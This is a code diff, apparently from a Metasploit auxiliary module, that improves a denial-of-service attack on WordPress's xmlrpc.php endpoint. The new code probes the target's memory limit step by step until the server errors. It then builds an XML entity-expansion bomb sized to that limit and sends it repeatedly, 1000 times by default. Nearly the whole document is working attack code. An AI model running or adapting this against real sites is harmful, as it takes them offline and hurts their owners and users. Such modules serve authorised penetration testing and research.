@@ -38,37 +38,128 @@ def initialize(info = {})
38
38
[
39
39
OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 1000 ] )
40
40
] , self . class )
41
+
42
+ register_advanced_options (
43
+ [
44
+ OptInt . new ( 'FINGERPRINT_STEP' , [ true , "The stepsize in MB when fingerprinting" , 8 ] ) ,
45
+ OptInt . new ( 'DEFAULT_LIMIT' , [ true , "The default limit in MB" , 8 ] )
46
+ ] , self . class )
47
+ end
48
+
49
+ def rlimit
50
+ datastore [ 'RLIMIT' ]
51
+ end
52
+
53
+ def default_limit
54
+ datastore [ 'DEFAULT_LIMIT' ]
55
+ end
56
+
57
+ def fingerprint_step
58
+ datastore [ 'FINGERPRINT_STEP' ]
41
59
end
42
60
43
- def generate_xml_bomb
61
+ def fingerprint
62
+ memory_to_use = fingerprint_step
63
+ # try out the available memory in steps
64
+ # apache will return a server error if the limit is reached
65
+ while memory_to_use < 1024
66
+ vprint_status ( "#{ peer } - trying memory limit #{ memory_to_use } MB" )
67
+ opts = {
68
+ 'method' => 'POST' ,
69
+ 'uri' => wordpress_url_xmlrpc ,
70
+ 'data' => generate_xml ( memory_to_use ) ,
71
+ 'ctype' => 'text/xml'
72
+ }
73
+
74
+ begin
75
+ # low timeout because the server error is returned immediately
76
+ res = send_request_cgi ( opts , timeout = 3 )
77
+ rescue ::Rex ::ConnectionError => exception
78
+ print_error ( "#{ peer } - unable to connect: '#{ exception . message } '" )
79
+ break
80
+ end
81
+
82
+ if res && res . code == 500
83
+ # limit reached, return last limit
84
+ last_limit = memory_to_use - fingerprint_step
85
+ vprint_status ( "#{ peer } - got an error - using limit #{ last_limit } MB" )
86
+ return last_limit
87
+ else
88
+ memory_to_use += fingerprint_step
89
+ end
90
+ end
91
+
92
+ # no limit can be determined
93
+ print_warning ( "#{ peer } - can not determine limit, will use default of #{ default_limit } " )
94
+ return default_limit
95
+ end
96
+
97
+ def generate_xml ( size )
44
98
entity = Rex ::Text . rand_text_alpha ( 3 )
99
+ doctype = Rex ::Text . rand_text_alpha ( 6 )
100
+ param_value_1 = Rex ::Text . rand_text_alpha ( 5 )
101
+ param_value_2 = Rex ::Text . rand_text_alpha ( 5 )
102
+
103
+ size_bytes = size * 1024
45
104
46
105
# Wordpress only resolves one level of entities so we need
47
106
# to specify one long entity and reference it multiple times
48
107
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
49
- xml << "<!DOCTYPE #{ Rex :: Text . rand_text_alpha ( 6 ) } ["
50
- xml << "<!ENTITY # {entity } \" #{ Rex :: Text . rand_text_alpha ( 9000 ) } \" >"
108
+ xml << "<!DOCTYPE %{doctype } ["
109
+ xml << "<!ENTITY % {entity} \" %{entity_value }\" >"
51
110
xml << ']>'
52
111
xml << '<methodCall>'
53
112
xml << '<methodName>'
54
- xml << "& #{ entity } ;" * 2000
113
+ xml << "%{payload}"
55
114
xml << '</methodName>'
56
115
xml << '<params>'
57
- xml << "<param><value>#{ Rex :: Text . rand_text_alpha ( 5 ) } </value></param>"
58
- xml << "<param><value>#{ Rex :: Text . rand_text_alpha ( 5 ) } </value></param>"
116
+ xml << "<param><value>%{param_value_1 }</value></param>"
117
+ xml << "<param><value>%{param_value_2 }</value></param>"
59
118
xml << '</params>'
60
119
xml << '</methodCall>'
61
120
62
- xml
121
+ empty_xml = xml % {
122
+ :doctype => '' ,
123
+ :entity => '' ,
124
+ :entity_value => '' ,
125
+ :payload => '' ,
126
+ :param_value_1 => '' ,
127
+ :param_value_2 => ''
128
+ }
129
+
130
+ space_to_fill = size_bytes - empty_xml . size
131
+ vprint_debug ( "#{ peer } - max XML space to fill: #{ space_to_fill } bytes" )
132
+
133
+ payload = "&#{ entity } ;" * ( space_to_fill / 6 )
134
+ entity_value_length = space_to_fill - payload . length
135
+
136
+ payload_xml = xml % {
137
+ :doctype => doctype ,
138
+ :entity => entity ,
139
+ :entity_value => Rex ::Text . rand_text_alpha ( entity_value_length ) ,
140
+ :payload => payload ,
141
+ :param_value_1 => param_value_1 ,
142
+ :param_value_2 => param_value_2
143
+ }
144
+
145
+ payload_xml
63
146
end
64
147
65
148
def run
66
- for x in 1 ..datastore [ 'RLIMIT' ]
67
- print_status ( "#{ peer } - Sending request ##{ x } ..." )
149
+ # get the max size
150
+ print_status ( "#{ peer } - trying to fingerprint the maximum memory we could use" )
151
+ size = fingerprint
152
+ print_status ( "#{ peer } - using #{ size } MB as memory limit" )
153
+
154
+ # only generate once
155
+ xml = generate_xml ( size )
156
+
157
+ for x in 1 ..rlimit
158
+ print_status ( "#{ peer } - sending request ##{ x } ..." )
68
159
opts = {
69
160
'method' => 'POST' ,
70
161
'uri' => wordpress_url_xmlrpc ,
71
- 'data' => generate_xml_bomb ,
162
+ 'data' => xml ,
72
163
'ctype' => 'text/xml'
73
164
}
74
165
begin
@@ -77,7 +168,7 @@ def run
77
168
c . send_request ( r )
78
169
# Don't wait for a response, can take very long
79
170
rescue ::Rex ::ConnectionError => exception
80
- print_error ( "#{ peer } - Unable to connect: '#{ exception . message } '" )
171
+ print_error ( "#{ peer } - unable to connect: '#{ exception . message } '" )
81
172
return
82
173
ensure
83
174
disconnect ( c ) if c
0 commit comments